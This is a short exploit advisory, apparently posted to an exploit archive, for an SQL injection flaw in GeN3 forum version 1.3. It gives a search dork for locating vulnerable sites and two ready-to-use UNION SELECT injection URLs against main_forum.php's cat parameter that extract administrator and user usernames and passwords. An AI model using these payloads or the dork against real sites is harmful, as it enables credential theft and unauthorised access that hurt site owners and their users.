GeN3 forum V1.3 SQL Injection Vulnerability

===========================================
GeN3 forum V1.3 SQL Injection Vulnerability
===========================================

 ***************************************************************************/
 
  [ Software Information ]
 
  [+] Vendor : http://www.ptcpay.com
  [+] script   : GeN3 Version 1.3
  [+] Download : http://www.ptcpay.com/shop/browse_products.php
  [+] Version() : 1.3
  [+] Vulnerability : SQL injection
  [+] Dork :inurl:"main_forum.php?cat="
 
  **************************************************************************/
  [ Vulnerable File ]
 
  http://server/path/main_forum.php?cat=[N.A.S.T ]
 
  [ Exploit ]
 
  http://server/forum/main_forum.php?cat=-1+Union+ALL+Select+1,group_concat(aId,0x3a,aUsername,0x3a,apassword),3,4,5,6,7+FROM+admins--
 
  http://server/forum/main_forum.php?cat=-1+Union+ALL+Select+1,group_concat(userid,0x3a,Username,0x3a,password),3,4,5,6,7+FROM+users--



#  0day.today [2018-02-17]  #